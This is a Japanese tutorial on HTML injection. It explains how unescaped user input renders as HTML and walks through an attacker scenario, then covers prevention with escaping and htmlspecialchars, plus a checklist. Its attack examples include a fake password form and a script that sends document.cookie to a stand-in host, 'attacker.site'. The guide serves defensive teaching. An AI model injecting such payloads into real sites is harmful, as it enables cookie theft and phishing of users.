HTMLインジェクション完全ガイド:攻撃手法・例・防止策・その危険性
HTMLインジェクションは、Webアプリケーションにおいてユーザーが入力した内容が、そのままHTMLとしてブラウザにレンダリングされてしまうことにより発生する脆弱性です。XSS(クロスサイトスクリプティング)の一形態としても分類され、サイト改ざん、情報窃取、フィッシングに悪用される可能性があります。
「見た目は普通のコメント欄。でもそこには、危険なHTMLが潜んでいるかもしれません。」
🧠 HTMLインジェクションとは?
HTMLインジェクションとは、ユーザーからの入力が適切にエスケープされず、HTMLタグとしてそのまま出力されることにより、ページの構造や動作が書き換えられる脆弱性です。攻撃者はこの仕組みを利用して、次のような行動が可能になります。
- 📄 ページの見た目や内容を意図的に改ざん
- 🔗 フィッシング用の偽リンク挿入
- 🖱️ JavaScriptやフォームでの情報盗聴
- 🧪 Cookieやローカルストレージの取得(XSSと組み合わせ)
🔍 攻撃例:HTMLがそのまま挿入されたら?
📥 ユーザー入力欄に以下を入力:
<h1>あなたのアカウントが乗っ取られました!</h1>
もしこれがHTMLとしてそのまま画面に出力されたら、ユーザーに不正なメッセージを見せることができます。
🧑💻 悪質なリンク注入例:
<a href="https://fakebank.com">本物の銀行はこちら</a>
これを銀行のログイン画面などに仕込まれたら、ユーザーは気づかず偽サイトへ誘導されます。
⚙️ 技術的にどこで起きるのか?
以下のような場所で発生しやすいです:
- 📝 コメント欄・レビュー欄・プロフィール編集画面
- 📤 フォーム入力の出力表示
- 📈 管理画面でのログ表示
- 📧 メールや通知の自動生成
💣 ハッカーの攻撃シナリオ
- 1. コメント欄などでHTMLがそのまま反映されるページを見つける
- 2. <img>, <iframe>, <script> などのタグを試す
- 3. JavaScriptが実行されるか確認(alertなど)
- 4. 情報取得やクッキーの送信を仕掛ける
- 5. 他ユーザーが閲覧した際に被害発生
🔥 実際の攻撃コード例
1. 偽フォーム
<form action="https://attacker.site/steal" method="post">
<input type="text" name="password" placeholder="パスワードを再入力してください">
</form>
2. スクリプトの注入(XSSを誘発)
<script>fetch('https://attacker.site?c='+document.cookie)</script>
3. 見た目を偽装した警告
<div style="color:red;font-size:24px;">あなたのアカウントは停止されました</div>
🔒 HTMLインジェクションの防止策
- 🔧 出力時のHTMLエスケープ(必須:< → <、> → >)
- 🧼 JavaScriptやHTMLタグのフィルタリング
- 🔒 コメント投稿前に正規表現でバリデーション
- 💻 テンプレートエンジンの自動エスケープ機能を使用
- 🚫 JavaScriptイベント属性(onerror, onclick等)の除外
「“見せる”前に“逃がす”。HTMLインジェクションはエスケープで無力化できる。」
✅ 安全な出力方法(PHPの例)
<?php
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
?>
または JavaScriptの例:
const safeHTML = document.createTextNode(userInput);
element.appendChild(safeHTML);
📌 まとめ:表示される文字列にも“毒”はある
HTMLインジェクションは、表示専用と思われている入力欄や出力部分にも、実は深刻なリスクがあることを示しています。単なる見た目の破壊にとどまらず、フィッシング・情報盗難・スクリプト実行と、被害は拡大する可能性があります。表示=安全ではありません。
「一文字の<(小なり)が、あなたのWebアプリを壊滅させる引き金になる。」
✅ 今すぐ確認すべきこと:
- □ 入力値をそのままHTMLに出力していないか?
- □ htmlspecialcharsやテンプレートのエスケープを使っているか?
- □ JavaScriptやCSSを挿入可能なポイントはないか?
- □ 管理画面も含め、すべての出力に検査を入れているか?
HTMLインジェクションは地味ですが危険です。「表示する」=「信頼する」にならないよう、徹底した検証を行いましょう。